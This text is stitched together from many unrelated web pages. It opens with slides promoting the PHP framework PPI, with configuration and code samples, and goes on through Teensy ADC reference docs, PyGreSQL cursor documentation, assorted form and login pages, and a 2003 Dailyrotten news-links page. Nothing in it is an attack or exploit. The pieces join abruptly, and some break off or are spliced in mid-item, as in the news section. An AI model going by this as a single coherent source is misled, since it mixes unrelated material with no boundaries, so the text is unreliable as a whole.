Frameworks are very powerful!
but.. they come at a cost
Amount of Cost = how you use and depend on frameworks
Showing you how to unleash the power of not just 1 framework, but many!
How that benefits you, your team/company/project/customer
Vendor lock-in! (technical debt)
This means:
Your app is tightly coupled to one framework
Hard to switch to a new framework
Hard to move code between apps, on different frameworks
What does PPI stand for? Not much, but we can be creative!
It's not a framework
It's a framework delivery engine
It delivers core parts of frameworks to your app
Individually, to the features of your app
An engine that you can boot() up.
Inside existing/legacy apps, to modernise them
Inside CMS' like wordpress
A typical standalone application with dispatch() for HTTP
You can middleware to it this ^^^
1. customer tells you what they want (kind of ;-)
2. you choose a framework/toolkit that suits that project
3. you build it
4. customer changes their mind on what they want
5. the framework you chose in the beginning, is no longer the correct one
6. you can't switch because it's vendor lock-in
You're not psychic! You cannot predict the future
but, you can prepare for it :-)
Building framework apps with PPI
PPI prepares you for change.
Because, it's designed for change.
Your app code belongs to you, not to your framework.
PPI let's you make framework decisions on a per-feature basis, not per-app
You can change your features independently (microservices)
When your features grow / evolve / change, you can change with them
One size doesn't fit all!
Feature A (backend cms)
Feature B (frontend)
PPI is a PSR-aware framework
PSR-0, PSR-1, PSR-2, PSR-3, PSR-4, PSR-7
composer.json:"require": {
"psr/log": "~1.0",
"psr/http-message": "^0.11",
"symfony/config": "~2.7",
"symfony/console": "~2.7",
"symfony/debug": "~2.7",
"symfony/finder": "~2.7",
"symfony/yaml": "~2.7",
"zendframework/zend-eventmanager": "~2.3",
"zendframework/zend-modulemanager": "~2.3",
"zendframework/zend-servicemanager": "~2.3",
"symfony/framework-bundle": "~2.7",
"symfony/http-foundation": "~2.7",
"symfony/http-kernel": "~2.7"
}
composer.json:
"require": {
"ppi/framework": "^2.1"
}
<php
$app = new PPI\App(['env' => 'prod']);
$app->loadConfig($app->getEnvironment().'/app.yml');
$app->boot();
app.yml
modules:
- Framework
- CmsModule
- FrontendModule
- ApiModule
<?php
namespace PropertyModule;
class Module extends AbstractModule
{
public function getConfig()
{
return $this->loadConfig(__DIR__ . '/../resources/config/config.yml');
}
}
app.yml
imports:
- { resource: settings.yml }
monolog:
handlers:
main:
type: stream
path: %app.logs_dir%/%app.environment%.log
level: debug
Simple & lightweight, using ZF2 ServiceManager
<?php
namespace PropertyModule;
class Module extends AbstractModule
{
public function getServiceConfig()
{
return ['factories' => [
'property.images.service' => PropertyImagesFactory::class,
'property.branch.service' => PropertyBranchesFactory::class,
'property.seller.service' => function ($sm) {
return new SellerService($sm->get('Doctrine\ORM\EntityManager'));
}
]];
}
}
<?php
namespace PropertyModule\Factory;
use Zend\ServiceManager\ServiceLocatorInterface;
use Zend\ServiceManager\FactoryInterface;
use PropertyModule\Service\SellerService;
class PropertySellerFactory implements FactoryInterface
{
public function createService(ServiceLocatorInterface $sm)
{
return new SellerService($sm->get('Doctrine\ORM\EntityManager'));
}
}
<?php
$sellerService = $app->getService('property.seller.service');
var_dump($sellerService); // object(SellerService)
composer.json
composer require ppi/smarty-module
composer require ppi/twig-module
composer require ppi/mustache-module
composer require ppi/plates-module
composer require ppi/latte-module
app.yml
modules:
- Framework
- CmsModule
- FrontendModule
- ApiModule
framework:
templating:
engines: ["php", "smarty", "twig", "mustache", "plates", "latte"]
PropertyModule
|
├── Module.php
├── resources
│ ├── config
│ │ └── config.yml
│ └── views
│ └── index
│ └── index.html.php
│ └── index.html.twig
│ └── index.html.smarty
│ └── index.html.plates
│ └── index.html.mustache
│ └── index.html.latte
<?php
$output = $app->getService('templating')
->render('PropertyModule:index:index.html.php');
$output = $app->getService('templating')
->render('PropertyModule:index:list.html.twig');
LaravelDB, Eloquent, DoctrineDBAL, ZendDB
$ composer require ppi/datasource-module
$ composer require zend/doctrine-orm-module
composer.json
composer require ppi/fastroute-routing
composer require ppi/laravel-routing
composer require ppi/aura-routing
composer require ppi/symfony-routing
<?php
class Module extends AbstractModule
{
public function getRoutes() {
return $this->loadAuraRoutes(__DIR__ . '/resources/routes/aura.php');
return $this->loadSymfonyRoutes(__DIR__ . '/resources/routes/symfony.yml');
return $this->loadLaravelRoutes(__DIR__ . '/resources/routes/laravel.php');
return $this->loadFastRouteRoutes(__DIR__ . '/resources/routes/fastroute.routes.php');
}
}
Homepage:
pattern: /
defaults: { _controller: "PropertyModule:Index:index"}
/*
* @var Aura\Router\Router $router
*/
$router
->add('Homepage', '/')
->addValues(array(
'controller' => 'PropertyModule\Controller\Index',
'action' => 'indexAction'
));
/**
* @var \FastRoute\RouteCollector $router
*/
$router->addRoute('GET', '/PropertyModule/index', 'PropertyModule\Controller\Index');
// Add __invoke() to your controller for this one! ^^
/*
* @var \Illuminate\Routing\Router $router
*/
$router->get('/', [
'as' => 'Homepage',
'uses' => 'PropertyModule\Controller\Index@indexAction'
]);
composer.json:
<?php
namespace PropertyModule\Controller;
use PPI\Framework\Module\Controller as BaseController;
use PPI\Framework\Http\Request;
class Mycontroller extends BaseController
{
public function indexAction(Request $request)
{
if ('POST' === $request->getMethod()) { }
$someService = $this->getService('property.service');
$someParams = $someService->getSomeParams();
return $this->render('PropertyModule:index:index.html.twig',
compact('someParams')
);
}
}
DocsIndex:
pattern: /docs/{ver}/{page}.html
defaults: { _controller: "PropertyModule:Docs:index", ver: "2.0"}
Symfony ControllerArgumentResolver
composer.json:
<?php
namespace PropertyModule\Controller;
use PPI\Framework\Module\Controller as BaseController;
use PPI\Framework\Http\Request;
class Index extends BaseController
{
public function indexAction(Request $request, $ver, $page = 1)
{
if ('POST' === $request->getMethod()) {
// do POST stuff
}
return $this->render('PropertyModule:index:index.html.twig',
compact('ver', 'page')
);
}
}
<php
$modules = $moduleManager->loadModules();
$chainRouter = new PPI\Framework\Router\ChainRouter();
foreach($modules as $module) {
$chainRouter->add($module->getRoutes());
}
$matchResult = $chainRouter->matchRequest($request);
<php
$app = new PPI\App(['env' => 'prod']);
$app->loadConfig($app->getEnvironment().'/app.php');
$app->boot();
$request = Request::create('/');
$response = new Response();
$response = $app->dispatch($request, $response);
$response->send();
// or
$content = $response->getContent();
<php
$app = new PPI\App(['env' => 'prod']);
$app->loadConfig($app->getEnvironment().'/app.php');
$app->run();
PPI website .. download .. skeleton app
PPI docs .. installation
$ vagrant up
$ app/console
PPI version 2.1.1-DEV
Available commands:
assets
assets:install Installs modules public assets under a public directory
cache
cache:clear Clears the cache
config
config:debug Dumps the configuration in use
debug
debug:router Displays current routes for an application
module
module:create Create a module
module:list Displays information about the currently loaded modules
router
router:debug Displays current routes for an application
router:match Helps debug routes by simulating a path info match
service-manager
service-manager:debug Displays current services for an application
$ app/console module:create PHPDayModule
Where is the modules dir?
[1] /Users/dragoonis/code/ppi/skeletonapp/modules
>
Choose your templating engine [php]
[1] php
[2] twig
[3] smarty
[4] plates
[5] latte
> 2
Choose your routing engine [symfony]
[1] symfony
[2] aura
[3] laravel
[4] fastroute
> 4
Created module successfully
Name: PHPDayModule
Routing: fastroute
Templating: twig
Path: /Users/dragoonis/code/ppi/skeletonapp/modules/PHPDayModule
This module is not enabled.
Enable it in config[modules] key
Twig is not an enabled templating engine.
Add twig it in config[framework][templating][engines] key
Twig doesn't appear to be loaded.
Run: composer require ppi/twig-module
FastRoute Router doesn't appear to be loaded.
Run: composer require ppi/fast-route
Can I haz shiny new features plz?! :-D
// Create...
$app = new PPI\Framework\App();
// ...configure...
$app->loadConfig($app->getEnvironment().'/app.php');
// Give me a symfony kernel pls!
$symfonyKernel = include __DIR__ . '/../app/sfkernel.php';
$app->boot(); // Boot PPI
// Register SymfonyContainer into PPI Container
$sfContainer = $symfonyKernel->getContainer();
$app->getServiceManager()->set('SymfonyContainer', $sfContainer);
// Dispatch PPI System
$app->setSymfonyKernel($symfonyKernel);
$app->run();
wordpress/index.php
$ppiApp->boot();
$container = $ppiApp->getServiceManager();
ppi($container); // Register your container, globally
function ppi($id)
{
static $container;
if ($id instanceof ContainerInterface) {
$container = $id;
return;
}
return $container->get($id);
}
<?php
get_header();
global $wp_query;
?>

Property List

<?php
$service = ppi('property.service');
$criteria = new PropertyModule\Criteria();
if(isset($_GET['num_bedrooms'])) {
$criteria->setNumBedrooms($_GET['num_bedrooms']);
}
$properties = $service->findProperties($criteria);
foreach($properties as $property): // DoctrineORM Entities
PPI is ready for you to build projects in.
We are now in version 2.1 - give it a spin!
PPI prepares you for change, because it's DESIGNED for change.
Be in control of your own destiny, change when you need to
Ultimately, by using PPI you're changing frameworks from this ...


--- layout: post title: comics for PhD-students date: 2004-02-25 09:49:04.000000000 +01:00 type: post parent_id: '0' published: true password: '' status: publish categories: - humble thoughts tags: - humor - phd meta: {} author: login: stmaarten email<EMAIL_ADDRESS>display_name: stmaarten first_name: '' last_name: '' ---


--- title: JBang Usage tagline: JBang Usage permalink: /usage/ layout: splash ---
Below is a visualization of recent version checks done by JBang users world wide.


|
ADC
8.0
Analog to Digital Conversor library for the Teensy microprocessor
|
#include <Arduino.h>
Go to the source code of this file.
Classes | |
| struct | ADC_REGS_t |
Namespaces | |
| ADC_Error | |
| Handle ADC errors. | |
Macros | |
| #define | ADC_TEENSY_LC |
| #define | ADC_NUM_ADCS (1) |
| #define | ADC_USE_DMA (1) |
| #define | ADC_USE_PGA (0) |
| #define | ADC_USE_PDB (0) |
| #define | ADC_USE_INTERNAL_VREF (0) |
| #define | ADC_MAX_PIN (43) |
| #define | ADC_DIFF_PAIRS (1) |
| #define | ADC0_START (*(ADC_REGS_t *)0x4003B000) |
| #define | ADC1_START (*(ADC_REGS_t *)0x400BB000) |
| #define | ADC_MHz (1000000) |
| #define | ADC_MIN_FREQ (1*ADC_MHz) |
| #define | ADC_MAX_FREQ (18*ADC_MHz) |
| #define | ADC_MIN_FREQ_16BITS (2*ADC_MHz) |
| #define | ADC_MAX_FREQ_16BITS (12*ADC_MHz) |
| #define | ADC_LIB_CFG1_ADIV(n) (((n) & 0x03) << 5) |
| #define | ADC_LIB_CFG1_ADICLK(n) (((n) & 0x03) << 0) |
| #define | ADC_F_BUS F_BUS |
| #define | ADC_SC1A_CHANNELS (0x1F) |
| #define | ADC_SC1A_PIN_INVALID (0x1F) |
| #define | ADC_SC1A_PIN_MUX (0x80) |
| #define | ADC_SC1A_PIN_DIFF (0x40) |
| #define | ADC_SC1A_PIN_PGA (0x80) |
| #define | ADC_ERROR_DIFF_VALUE (-70000) |
| #define | ADC_ERROR_VALUE ADC_ERROR_DIFF_VALUE |
Functions | |
| constexpr uint32_t | get_CFG_VERY_LOW_SPEED (uint32_t f_adc_clock) |
| constexpr uint32_t | get_CFG_LOW_SPEED (uint32_t f_adc_clock) |
| constexpr uint32_t | get_CFG_HI_SPEED_16_BITS (uint32_t f_adc_clock) |
| constexpr uint32_t | get_CFG_MEDIUM_SPEED (uint32_t f_adc_clock) |
| constexpr uint32_t | get_CFG_HIGH_SPEED (uint32_t f_adc_clock) |
| constexpr uint32_t | get_CFG_VERY_HIGH_SPEED (uint32_t f_adc_clock) |
| constexpr ADC_ERROR | ADC_Error::operator| (ADC_ERROR lhs, ADC_ERROR rhs) |
| OR operator for ADC_ERRORs. | |
| constexpr ADC_ERROR | ADC_Error::operator& (ADC_ERROR lhs, ADC_ERROR rhs) |
| AND operator for ADC_ERRORs. | |
| ADC_ERROR | ADC_Error::operator|= (volatile ADC_ERROR &lhs, ADC_ERROR rhs) |
| |= operator for ADC_ERRORs, it changes the left hand side ADC_ERROR. | |
| ADC_ERROR | ADC_Error::operator&= (volatile ADC_ERROR &lhs, ADC_ERROR rhs) |
| &= operator for ADC_ERRORs, it changes the left hand side ADC_ERROR. | |
| void | ADC_Error::resetError (volatile ADC_ERROR &fail_flag) |
| Resets all errors from the ADC, if any. | |
|
strong |
ADC conversion speed. Common set of options to select the ADC clock speed F_ADCK, which depends on ADC_F_BUS, except for the ADACK_X_Y options that are independent. This selection affects the sampling speed too. Note: the F_ADCK speed is not equal to the conversion speed; any measurement takes several F_ADCK cycles to complete including the sampling and conversion steps.
| Enumerator | |
|---|---|
| VERY_LOW_SPEED | is guaranteed to be the lowest possible speed within specs for resolutions less than 16 bits. |
| LOW_SPEED | is guaranteed to be the lowest possible speed within specs for all resolutions. |
| MED_SPEED | is always >= LOW_SPEED and <= HIGH_SPEED. |
| HIGH_SPEED_16BITS | is guaranteed to be the highest possible speed within specs for all resolutions. |
| HIGH_SPEED | is guaranteed to be the highest possible speed within specs for resolutions less than 16 bits. |
| VERY_HIGH_SPEED | may be out of specs |
| ADACK_2_4 | 2.4 MHz asynchronous ADC clock (independent of the global clocks F_CPU or F_BUS) |
| ADACK_4_0 | 4.0 MHz asynchronous ADC clock (independent of the global clocks F_CPU or F_BUS) |
| ADACK_5_2 | 5.2 MHz asynchronous ADC clock (independent of the global clocks F_CPU or F_BUS) |
| ADACK_6_2 | 6.2 MHz asynchronous ADC clock (independent of the global clocks F_CPU or F_BUS) |
|
strong |
|
strong |
|
strong |
ADC sampling speed. It selects how many ADCK clock cycles to add.


Placing dynamically generated
I haven't looked into this yet, but here are some links for reference.
Insert around
Insert inside
Insert outside
Remove


I am a Computer Systems Engineer. I have developed connoisseur-like skills in Application Development and Testing ,Data Science , Software Updating, Web Development, and other countless computer mechanics. Nothing is more fulfilling than being part of a team with similar interests, and an organization that values its employees.
Perform hands-on software development.• Provided IT support to the employees and clients.Troubleshoot technical and functional issues and coordinate resolution with development. Execute QA Test Plans
Responsible for working on a range of projects, creating appealing websites and interacting on a daily basis with other team members and marketers.


Log In Successful
You, username, have successfully logged into the Central Authentication Service.
When you are finished, for security reasons, please log out and exit your web browser.
| Attribute | Value(s) |
|---|---|
|
|
You, username, have successfully logged into the Central Authentication Service.
When you are finished, for security reasons, please log out and exit your web browser.
| Attribute | Value(s) |
|---|---|
|
|


Collected:
10
Click on a pooperto make it poop
Cost: 10
Cost: 30
Cost: 15
Many thanks to Quantum for helping set up this masterpiece.
Created by Cthulhu


Search across multiple resources to find full-text articles, abstracts, images, books, and other resources.


Create Expense
Expense Name is required
Category is required
Report Selection is required
Expense Cost is required


Customer Name:
Contact Name:
Date:
Address:
City, State ZIP:
DTS Dev/Tech Name: or pick a tech Artem Abashev Bryan McCarley Eric Fedesna John Vetsch Mark Miranda Richard Beadle Troy Green Will Pike
Problem Reported Describe the nature of the problem reported here


10294856: Novel bioreactor design for fermentation of syngas to industrially relevant chemicals
The spend profile has been approved.
REJECT TEXT REQUIRED
- TEXT REQUIRED
This overview details the spend profile for each partner for the project, it also enables the download of the Spend profile so it can be shared with the Monitoring officer.
You can download the spend profile of each project partner here so that you can share it with the Monitoring Officer.
Innovation Lead
Paul Davidson
Project spend profile
Competition-soend-profile.csvApproved by Innovation Lead
The spend profile must be sent to the Innovation Lead for their review and approval.


Cursor – The cursor object¶
-
class
pgdb.
Cursor
¶
These objects represent a database cursor, which is used to manage the context of a fetch operation. Cursors created from the same connection are not isolated, i.e., any changes done to the database by a cursor are immediately visible by the other cursors. Cursors created from different connections can or can not be isolated, depending on the level of transaction isolation. The default PostgreSQL transaction isolation level is “read committed”.
Cursor objects respond to the following methods and attributes.
Note that Cursor
objects also implement both the iterator and the
context manager protocol, i.e. you can iterate over them and you can use them
in a with
statement.
description – details regarding the result columns¶
-
Cursor.
description
¶ This read-only attribute is a sequence of 7-item named tuples.
Each of these named tuples contains information describing one result column:
- name
- type_code
- display_size
- internal_size
- precision
- scale
- null_ok
The values for precision and scale are only set for numeric types. The values for display_size and null_ok are always
None
.This attribute will be
None
for operations that do not return rows or if the cursor has not had an operation invoked via theCursor.execute()
orCursor.executemany()
method yet.
Changed in version 5.0: Before version 5.0, this attribute was an ordinary tuple.
rowcount – number of rows of the result¶
-
Cursor.
rowcount
¶ This read-only attribute specifies the number of rows that the last
Cursor.execute()
orCursor.executemany()
call produced (for DQL statements like SELECT) or affected (for DML statements like UPDATE or INSERT). It is also set by theCursor.copy_from()
and :meth’:Cursor.copy_to methods. The attribute is -1 in case no such method call has been performed on the cursor or the rowcount of the last operation cannot be determined by the interface.
close – close the cursor¶
-
Cursor.
close
()¶ Close the cursor now (rather than whenever it is deleted)
Return type: None
The cursor will be unusable from this point forward; an Error
(or subclass) exception will be raised if any operation is attempted
with the cursor.
execute – execute a database operation¶
-
Cursor.
execute
(operation[, parameters])¶ Prepare and execute a database operation (query or command)
Parameters: - operation (str) – the database operation
- parameters – a sequence or mapping of parameters
Returns: the cursor, so you can chain commands
Parameters may be provided as sequence or mapping and will be bound to
variables in the operation. Variables are specified using Python extended
format codes, e.g. " ... WHERE name=%(name)s"
.
A reference to the operation will be retained by the cursor. If the same operation object is passed in again, then the cursor can optimize its behavior. This is most effective for algorithms where the same operation is used, but different parameters are bound to it (many times).
The parameters may also be specified as list of tuples to e.g. insert multiple
rows in a single operation, but this kind of usage is deprecated:
Cursor.executemany()
should be used instead.
Note that in case this method raises a DatabaseError
, you can get
information about the error condition that has occurred by introspecting
its DatabaseError.sqlstate
attribute, which will be the SQLSTATE
error code associated with the error. Applications that need to know which
error condition has occurred should usually test the error code, rather than
looking at the textual error message.
executemany – execute many similar database operations¶
-
Cursor.
executemany
(operation[, seq_of_parameters])¶ Prepare and execute many similar database operations (queries or commands)
Parameters: - operation (str) – the database operation
- seq_of_parameters – a sequence or mapping of parameter tuples or mappings
Returns: the cursor, so you can chain commands
Prepare a database operation (query or command) and then execute it against all parameter tuples or mappings found in the sequence seq_of_parameters.
Parameters are bounded to the query using Python extended format codes,
e.g. " ... WHERE name=%(name)s"
.
callproc – Call a stored procedure¶
-
Cursor.callproc(self, procname, [parameters]):
Call a stored database procedure with the given name
Parameters: - procname (str) – the name of the database function
- parameters – a sequence of parameters (can be empty or omitted)
This method calls a stored procedure (function) in the PostgreSQL database.
The sequence of parameters must contain one entry for each input argument that the function expects. The result of the call is the same as this input sequence; replacement of output and input/output parameters in the return value is currently not supported.
The function may also provide a result set as output. These can be requested through the standard fetch methods of the cursor.
New in version 5.0.
fetchone – fetch next row of the query result¶
-
Cursor.
fetchone
()¶ Fetch the next row of a query result set
Returns: the next row of the query result set Return type: named tuple or None
Fetch the next row of a query result set, returning a single named tuple,
or None
when no more data is available. The field names of the named
tuple are the same as the column names of the database query as long as
they are valid Python identifiers.
An Error
(or subclass) exception is raised if the previous call to
Cursor.execute()
or Cursor.executemany()
did not produce
any result set or no call was issued yet.
Changed in version 5.0: Before version 5.0, this method returned ordinary tuples.
fetchmany – fetch next set of rows of the query result¶
-
Cursor.
fetchmany
([size=None][, keep=False])¶ Fetch the next set of rows of a query result
Parameters: - size (int or None) – the number of rows to be fetched
- keep – if set to true, will keep the passed arraysize
Tpye keep: bool
Returns: the next set of rows of the query result
Return type: list of named tuples
Fetch the next set of rows of a query result, returning a list of named tuples. An empty sequence is returned when no more rows are available. The field names of the named tuple are the same as the column names of the database query as long as they are valid Python identifiers.
The number of rows to fetch per call is specified by the size parameter.
If it is not given, the cursor’s arraysize
determines the number of
rows to be fetched. If you set the keep parameter to True, this is kept as
new arraysize
.
The method tries to fetch as many rows as indicated by the size parameter. If this is not possible due to the specified number of rows not being available, fewer rows may be returned.
An Error
(or subclass) exception is raised if the previous call to
Cursor.execute()
or Cursor.executemany()
did not produce
any result set or no call was issued yet.
Note there are performance considerations involved with the size parameter.
For optimal performance, it is usually best to use the arraysize
attribute. If the size parameter is used, then it is best for it to retain
the same value from one Cursor.fetchmany()
call to the next.
Changed in version 5.0: Before version 5.0, this method returned ordinary tuples.
fetchall – fetch all rows of the query result¶
-
Cursor.
fetchall
()¶ Fetch all (remaining) rows of a query result
Returns: the set of all rows of the query result Return type: list of named tuples
Fetch all (remaining) rows of a query result, returning them as list of named tuples. The field names of the named tuple are the same as the column names of the database query as long as they are valid Python identifiers.
Note that the cursor’s arraysize
attribute can affect the performance
of this operation.
Changed in version 5.0: Before version 5.0, this method returned ordinary tuples.
arraysize - the number of rows to fetch at a time¶
-
Cursor.
arraysize
¶ The number of rows to fetch at a time
This read/write attribute specifies the number of rows to fetch at a time with
Cursor.fetchmany()
. It defaults to 1, meaning to fetch a single row
at a time.
Methods and attributes that are not part of the standard¶
Note
The following methods and attributes are not part of the DB-API 2 standard.
-
Cursor.
copy_from
(stream, table[, format][, sep][, null][, size][, columns])¶ Copy data from an input stream to the specified table
Parameters: - stream – the input stream (must be a file-like object, a string or an iterable returning strings)
- table (str) – the name of a database table
- format (str) – the format of the data in the input stream,
can be
'text'
(the default),'csv'
, or'binary'
- sep (str) – a single character separator
(the default is
'\t'
for text and','
for csv) - null (str) – the textual representation of the
NULL
value, can also be an empty string (the default is'\\N'
) - size (int) – the size of the buffer when reading file-like objects
- column (list) – an optional list of column names
Returns: the cursor, so you can chain commands
Raises: - TypeError – parameters with wrong types
- ValueError – invalid parameters
- IOError – error when executing the copy operation
This method can be used to copy data from an input stream on the client side
to a database table on the server side using the COPY FROM
command.
The input stream can be provided in form of a file-like object (which must
have a read()
method), a string, or an iterable returning one row or
multiple rows of input data on each iteration.
The format must be text, csv or binary. The sep option sets the column
separator (delimiter) used in the non binary formats. The null option sets
the textual representation of NULL
in the input.
The size option sets the size of the buffer used when reading data from file-like objects.
The copy operation can be restricted to a subset of columns. If no columns are specified, all of them will be copied.
New in version 5.0.
-
Cursor.
copy_to
(stream, table[, format][, sep][, null][, decode][, columns])¶ Copy data from the specified table to an output stream
Parameters: - stream – the output stream (must be a file-like object or
None
) - table (str) – the name of a database table or a
SELECT
query - format (str) – the format of the data in the input stream,
can be
'text'
(the default),'csv'
, or'binary'
- sep (str) – a single character separator
(the default is
'\t'
for text and','
for csv) - null (str) – the textual representation of the
NULL
value, can also be an empty string (the default is'\\N'
) - decode (bool) – whether decoded strings shall be returned for non-binary formats (the default is True in Python 3)
- column (list) – an optional list of column names
Returns: a generator if stream is set to
None
, otherwise the cursorRaises: - TypeError – parameters with wrong types
- ValueError – invalid parameters
- IOError – error when executing the copy operation
- stream – the output stream (must be a file-like object or
This method can be used to copy data from a database table on the server side
to an output stream on the client side using the COPY TO
command.
The output stream can be provided in form of a file-like object (which must
have a write()
method). Alternatively, if None
is passed as the
output stream, the method will return a generator yielding one row of output
data on each iteration.
Output will be returned as byte strings unless you set decode to true.
Note that you can also use a SELECT
query instead of the table name.
The format must be text, csv or binary. The sep option sets the column
separator (delimiter) used in the non binary formats. The null option sets
the textual representation of NULL
in the output.
The copy operation can be restricted to a subset of columns. If no columns are specified, all of them will be copied.
New in version 5.0.
-
Cursor.
row_factory
(row)¶ Process rows before they are returned
Parameters: row (list) – the currently processed row of the result set Returns: the transformed row that the fetch methods shall return
This method is used for processing result rows before returning them through
one of the fetch methods. By default, rows are returned as named tuples.
You can overwrite this method with a custom row factory if you want to
return the rows as different kids of objects. This same row factory will then
be used for all result sets. If you overwrite this method, the method
Cursor.build_row_factory()
for creating row factories dynamically
will be ignored.
Note that named tuples are very efficient and can be easily converted to
dicts (even OrderedDicts) by calling row._asdict()
. If you still want
to return rows as dicts, you can create a custom cursor class like this:
class DictCursor(pgdb.Cursor):
def row_factory(self, row):
return {key: value for key, value in zip(self.colnames, row)}
cur = DictCursor(con) # get one DictCursor instance or
con.cursor_type = DictCursor # always use DictCursor instances
New in version 4.0.
-
Cursor.
build_row_factory
()¶ Build a row factory based on the current description
Returns: callable with the signature of Cursor.row_factory()
This method returns row factories for creating named tuples. It is called
whenever a new result set is created, and Cursor.row_factory
is
then assigned the return value of this method. You can overwrite this method
with a custom row factory builder if you want to use different row factories
for different result sets. Otherwise, you can also simply overwrite the
Cursor.row_factory()
method. This method will then be ignored.
The default implementation that delivers rows as named tuples essentially looks like this:
def build_row_factory(self):
return namedtuple('Row', self.colnames, rename=True)._make
New in version 5.0.
-
Cursor.
colnames
¶ The list of columns names of the current result set
The values in this list are the same values as the name elements
in the Cursor.description
attribute. Always use the latter
if you want to remain standard compliant.
New in version 5.0.
-
Cursor.
coltypes
¶ The list of columns types of the current result set
The values in this list are the same values as the type_code elements
in the Cursor.description
attribute. Always use the latter
if you want to remain standard compliant.
New in version 5.0.


| About Dailyrotten |
|
Feedback
If you like this page, hate it, or would like to suggest changes,
<EMAIL_ADDRESS>is listening. This page
is experimental and somewhat different from what we usually offer, so please
do send your feedback.
Adding Stories
If you are a rotten newshound and you would like to suggest a story,
visit our submit page to
send us the URL. Stories that are accepted will have your name credited.
Viewership
On the first full day this page went live, 100,000 people visited this Rotten
News page. Of course that was the day after the WTC attacks, so that number is
somewhat distorted. Right now this page gets between 50,000 and 75,000 people
every day.
Linking
We encourage everyone to link to this page; if you like it, others probably
will as well.
Other Rotten
Rotten
Gaping Maw
Celebrity Morgue
Mugshots
Rotten Store
Shockumentary
Rate My Poo
Rate My Kitten
Rate My Finger
Penny Postcards
Phallic
Dr. Sputnik
Boners
Dead Pool
NNDB
Home
Make Dailyrotten your start page
|
|
|
April 02, 2003
Ice Cream Man's turf war leaves rival's son dead
News Corporation | Submitted by: Dirty Sammy
"Dennis Giunta, 26, was stabbed at least 25 times with a home-made sword and died during an attack in his bedroom in his suburban Williamstown home in February last year... Mangione had a longstanding dispute with the dead man's father Peter Giunta over where they operated their ice-cream vans, it has been alleged."
|
|
Read article...
|
|
Massachusetts new revenue source: extortion!
Boston Globe | Submitted by: Cafael Rohen
"If they refuse to provide at least $75 million to us... then we will engage in video lottery terminals of our own," [Governor Mitt Romney] said when he unveiled the budget a month ago. In recent weeks, Democratic state Senator Michael Morrissey's proposal to transform the Hynes Center into a casino has added new weight to the threat... According to Harvard law professor Laurence Tribe, any casinos that transfer money to the state might be in violation of the Sherman Anti-Trust Act of 1890."
|
|
Read article...
|
|
Dog translator coming this summer
CNN | Submitted by: Murder
"A Japanese toy maker claims to have developed a gadget that translates dog barks into human language and plans to begin selling the product, under the name Bowlingual, in U.S. pet stores, gift shops and retail outlets this summer. Tokyo-based Takara Co. Ltd. says about 300,000 of the dog translator devices have been sold since its launch in Japan late last year." Bullshit is bullshit in any language, even K9.
|
|
Read article...
|
|
PETA's anti-milk Spanish translation all spurty
South Florida Sun-Sentinel | Submitted by: Amytown USA
"The heifer also totes a translated sign that is supposed to mean "Dump dairy", but some say "Eche la leche" is slang for something else. The verb "echar" can also mean "to discharge" leading to some unfortunate consequences when combined with the word for milk. "In Spanish, milk can also mean sperm, and well, you can imagine," said Hialeah's Palm Springs Middle School Principal Manny Ferrer, who declined to elaborate."
|
|
Read article...
|
|
Baby sold for $160, plus eggs
Sydney Morning Herald | Submitted by: Nhan Phan
"A couple in China have been arrested for selling their baby daughter for 800 yuan ($A160) and 5kg of eggs, a news report said today. The couple, who have four other children, sold the boys for prices ranging from 3,000 to 6,500 yuan ($A601.50 - $A1,311.61), the newspaper said."
|
|
Read article...
|
|
Drunk woman kicked out of court
Courier-Mail | Submitted by: Hans Krule
Ah pleas innocent, your honourship: "She pleaded guilty but magistrate Phil Austin refused to deal with her after being told by a community corrections officer that McLeod was drunk. Earlier, police prosecutor Jacki Hart told the court McLeod had been arrested just after midnight on January 18 this year for suspected drink-driving. Senior Constable Hart said McLeod had recorded an "extraordinary" blood alcohol reading of .319 per cent."
|
|
Read article...
|
|
Trial of protesting nuns set to open
Seattle Times | Submitted by: twist of cain
Three nuns have gained access to a Minuteman 111 missile and a fighter jet on two separate occasions. They used their own blood hammers as weapons to send a message to the U.S. military. Now they're facing 20 years for interfering with national defense. What does this say about military security? We won't be safe safe until these nun-rogues are behind bars.
|
|
Read article...
|
|
Man dies after shooting self
Times Herald-Record | Submitted by: anonymous
"An 18 year old city man yesterday shot himself in the head with a handgun he did not know was loaded, according to initial reports to city police. Peter Barnett of 219 W. Main St. died hours after a call for help reached police at noon." It's not so much that he died, but he lived to talk about it for several hours.
|
|
Read article...
|
|
New Jersey town celebrates its beavers
Boston Globe | Submitted by: RoboChrist
Not much of a story, but a great headline. "Beaver dams have caused flooding on town property and blocked fire hydrant pipes for years, but officials say they're done trying to outsmart the critters."
|
|
Read article...
|
|
Norway's Saddam changes name
Sydney Morning Herald | Submitted by: Creamy Goodness
"An Iraqi Kurd refugee living in Norway finds his name Saddam Hussein too troublesome, and has applied to have it changed officially, the Oslo newspaper Aftenposten reported. "It's no fun being called Saddam Hussein these days," the 20-year-old Kurd, who lives in the town of Nome in the northern district of Telemark, was quoted as saying."
|
|
Read article...
|
|
Millionaire cheater follow-up
News Corporation | Submitted by: Dirty Sammy
"It got worse and I was desperate for a glass of water. If you don't relieve it it's a frog in your throat, very ticklish and very difficult to clear... He was not given any water until a break in filming, when Ingram was about to answer the pound stg. 1 million question. Whittock also confirmed speaking to Ingram's wife Diana by phone more than a dozen times in the months leading up to the alleged sting. He said he asked her advice on how to get on to the show."
|
|
Read article...
|
|
Sticks and stones
Wire Services | Submitted by: freakymeatballs
"Following the rich literary tradition of their country, Iraqi officials from President Saddam Hussein to Information Minister Mohammed Saeed al-Sahaf have regularly taken to the airwaves to lambaste their U.S. and British foes with fiery rhetoric and vitriolic broadsides. Since the war on Iraq started 10 days ago, the leaders of the United States and Britain have been branded "an international gang of criminal bastards," "blood-sucking bastards," ignorant imperialists, losers and fools."
 The man was said to have been digging in his neighbour's garden early in the morning, being abusive and aggressive and "chatting up women inappropriately" wearing just a small towel. It was also said that he had a bayonet in his trousers."
|
|
Read article...
|
|
Mayor Daley destroys Meigs Field
Friends of Meigs Website | Submitted by: Merlin
"The City of Chicago today used surprise and shock tactics to start demolishing Meigs Field, the world-renowned airport serving downtown, ripping up runway without notice in the dark of night under police guard. "We are in shock," said Rachel Goodstein, president of the Friends of Meigs Field. "The City of Chicago had agreed to keep Meigs Field open until 2026," she said, citing a December 2001 agreement between Mayor Daley and Governor Ryan."
|
|
Read article...
|
|
Cher: Michael Jackson is weird
Canadian Press | Submitted by: Rufferto
